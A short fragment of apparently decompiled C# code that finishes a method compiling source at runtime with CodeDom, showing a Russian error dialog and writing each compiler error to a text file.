        }).CompileAssemblyFromSource(compilerParameters, new string[]
        {
            string_0
        });

        if (compilerResults.Errors.Count > 0)
        {
            MessageBox.Show(string.Format("Имеются {0} ошибок", compilerResults.Errors.Count), "Ошибка компиляции", MessageBoxButtons.OK, MessageBoxIcon.Hand);
            foreach (object obj in compilerResults.Errors)
            {
                CompilerError compilerError = (CompilerError)obj;
                File.WriteAllText("Error_Compiler.txt", string.Format("Ошибка: {0} \r\nСтрока: {1}\r\n", compilerError.ToString(), compilerError.Line));
            }
            return(false);
        }
        return(true);
    }